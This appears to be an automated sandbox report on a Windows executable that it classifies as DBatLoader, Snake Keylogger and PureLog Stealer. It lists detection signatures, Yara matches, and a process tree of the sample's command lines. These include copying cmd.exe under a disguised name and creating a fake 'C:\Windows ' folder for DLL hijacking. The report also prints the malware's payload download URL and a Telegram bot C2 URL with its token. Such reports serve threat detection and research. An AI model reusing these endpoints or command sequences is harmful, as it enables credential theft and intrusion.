Edit tour

Windows Analysis Report
EPTMAcgvNZ.exe

Overview

General Information

Sample name:	EPTMAcgvNZ.exe renamed because original name is a hash value
Original sample name:	059971ff3a7ed8438ae50f1ae60bc161e93c0b32f8a2b3c5a0e56bbfa05d9cd5.exe
Analysis ID:	1562871
MD5:	dc614075998696b44ada8a2eed23fc03
SHA1:	911b29ff40b13f6935568153f178867e10946311
SHA256:	059971ff3a7ed8438ae50f1ae60bc161e93c0b32f8a2b3c5a0e56bbfa05d9cd5
Tags:	doganalecmdexeuser-JAMESWT_MHT
Infos:

Detection

DBatLoader, PureLog Stealer, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DBatLoader

Yara detected PureLog Stealer

Yara detected Snake Keylogger

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

EPTMAcgvNZ.exe (PID: 7128 cmdline: "C:\Users\user\Desktop\EPTMAcgvNZ.exe" MD5: DC614075998696B44ADA8A2EED23FC03)

cmd.exe (PID: 1396 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\yihfsboC.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

esentutl.exe (PID: 1768 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)

esentutl.exe (PID: 7284 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)

alpha.pif (PID: 7400 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 7456 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 7496 cmdline: C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

xpha.pif (PID: 7512 cmdline: C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: B3624DD758CCECF93A1226CEF252CA12)

alpha.pif (PID: 7972 cmdline: C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 8044 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 8064 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

esentutl.exe (PID: 7184 cmdline: C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\EPTMAcgvNZ.exe /d C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF /o MD5: 5F5105050FBE68E930486635C5557F84)

conhost.exe (PID: 7192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

yihfsboC.pif (PID: 7240 cmdline: C:\Users\Public\Libraries\yihfsboC.pif MD5: C116D3604CEAFE7057D77FF27552C215)

Cobsfhiy.PIF (PID: 7568 cmdline: "C:\Users\Public\Libraries\Cobsfhiy.PIF" MD5: DC614075998696B44ADA8A2EED23FC03)

yihfsboC.pif (PID: 7660 cmdline: C:\Users\Public\Libraries\yihfsboC.pif MD5: C116D3604CEAFE7057D77FF27552C215)

Cobsfhiy.PIF (PID: 7808 cmdline: "C:\Users\Public\Libraries\Cobsfhiy.PIF" MD5: DC614075998696B44ADA8A2EED23FC03)

yihfsboC.pif (PID: 7924 cmdline: C:\Users\Public\Libraries\yihfsboC.pif MD5: C116D3604CEAFE7057D77FF27552C215)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx"]}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendMessage"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2909d:$a1: get_encryptedPassword 0x29071:$a2: get_encryptedUsername 0x29135:$a3: get_timePasswordChanged 0x2904d:$a4: get_passwordField 0x290b3:$a5: set_encryptedPassword 0x28e80:$a7: get_logins 0x255be:$a10: KeyLoggerEventArgs 0x2558d:$a11: KeyLoggerEventArgsEventHandler 0x28f54:$a13: _encryptedPassword
00000017.00000001.1460585249.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de8d:$a1: get_encryptedPassword 0x661a5:$a1: get_encryptedPassword 0x2de61:$a2: get_encryptedUsername 0x66179:$a2: get_encryptedUsername 0x2df25:$a3: get_timePasswordChanged 0x6623d:$a3: get_timePasswordChanged 0x2de3d:$a4: get_passwordField 0x66155:$a4: get_passwordField 0x2dea3:$a5: set_encryptedPassword 0x661bb:$a5: set_encryptedPassword 0x2dc70:$a7: get_logins 0x65f88:$a7: get_logins 0x2a3ae:$a10: KeyLoggerEventArgs 0x626c6:$a10: KeyLoggerEventArgs 0x2a37d:$a11: KeyLoggerEventArgsEventHandler 0x62695:$a11: KeyLoggerEventArgsEventHandler 0x2dd44:$a13: _encryptedPassword 0x6605c:$a13: _encryptedPassword
0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6a2ab:$a1: get_encryptedPassword 0x6a27f:$a2: get_encryptedUsername 0x6a343:$a3: get_timePasswordChanged 0x6a25b:$a4: get_passwordField 0x6a2c1:$a5: set_encryptedPassword 0x6a08e:$a7: get_logins 0x667cc:$a10: KeyLoggerEventArgs 0x6679b:$a11: KeyLoggerEventArgsEventHandler 0x6a162:$a13: _encryptedPassword
0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x293ad:$a1: get_encryptedPassword 0x29381:$a2: get_encryptedUsername 0x29445:$a3: get_timePasswordChanged 0x2935d:$a4: get_passwordField 0x293c3:$a5: set_encryptedPassword 0x29190:$a7: get_logins 0x258ce:$a10: KeyLoggerEventArgs 0x2589d:$a11: KeyLoggerEventArgsEventHandler 0x29264:$a13: _encryptedPassword
0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de8d:$a1: get_encryptedPassword 0x661a5:$a1: get_encryptedPassword 0x2de61:$a2: get_encryptedUsername 0x66179:$a2: get_encryptedUsername 0x2df25:$a3: get_timePasswordChanged 0x6623d:$a3: get_timePasswordChanged 0x2de3d:$a4: get_passwordField 0x66155:$a4: get_passwordField 0x2dea3:$a5: set_encryptedPassword 0x661bb:$a5: set_encryptedPassword 0x2dc70:$a7: get_logins 0x65f88:$a7: get_logins 0x2a3ae:$a10: KeyLoggerEventArgs 0x626c6:$a10: KeyLoggerEventArgs 0x2a37d:$a11: KeyLoggerEventArgsEventHandler 0x62695:$a11: KeyLoggerEventArgsEventHandler 0x2dd44:$a13: _encryptedPassword 0x6605c:$a13: _encryptedPassword
0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x64d2:$x1: $%SMTPDV$ 0x4dfc:$x2: $#TheHashHere%& 0x285ac:$x2: $#TheHashHere%& 0x6472:$x3: %FTPDV$ 0x4dde:$x4: $%TelegramDv$ 0x28584:$x4: $%TelegramDv$ 0x649a:$m2: Clipboard Logs ID 0x66c6:$m2: Screenshot Logs ID 0x67e0:$m2: keystroke Logs ID 0x69de:$m3: SnakePW 0x669c:$m4: \SnakeKeylogger\
0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000002.2505611445.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.2505730658.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6a2ab:$a1: get_encryptedPassword 0x6a27f:$a2: get_encryptedUsername 0x6a343:$a3: get_timePasswordChanged 0x6a25b:$a4: get_passwordField 0x6a2c1:$a5: set_encryptedPassword 0x6a08e:$a7: get_logins 0x667cc:$a10: KeyLoggerEventArgs 0x6679b:$a11: KeyLoggerEventArgsEventHandler 0x6a162:$a13: _encryptedPassword
0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6a2ab:$a1: get_encryptedPassword 0x6a27f:$a2: get_encryptedUsername 0x6a343:$a3: get_timePasswordChanged 0x6a25b:$a4: get_passwordField 0x6a2c1:$a5: set_encryptedPassword 0x6a08e:$a7: get_logins 0x667cc:$a10: KeyLoggerEventArgs 0x6679b:$a11: KeyLoggerEventArgsEventHandler 0x6a162:$a13: _encryptedPassword
00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x296dd:$a1: get_encryptedPassword 0x296b1:$a2: get_encryptedUsername 0x29775:$a3: get_timePasswordChanged 0x2968d:$a4: get_passwordField 0x296f3:$a5: set_encryptedPassword 0x294c0:$a7: get_logins 0x25bfe:$a10: KeyLoggerEventArgs 0x25bcd:$a11: KeyLoggerEventArgsEventHandler 0x29594:$a13: _encryptedPassword
0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x8efa:$x1: $%SMTPDV$ 0x7824:$x2: $#TheHashHere%& 0x2b93c:$x2: $#TheHashHere%& 0x8e9a:$x3: %FTPDV$ 0x7806:$x4: $%TelegramDv$ 0x2b914:$x4: $%TelegramDv$ 0x8ec2:$m2: Clipboard Logs ID 0x90ee:$m2: Screenshot Logs ID 0x9208:$m2: keystroke Logs ID 0x9406:$m3: SnakePW 0x90c4:$m4: \SnakeKeylogger\
0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000001.1548998614.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
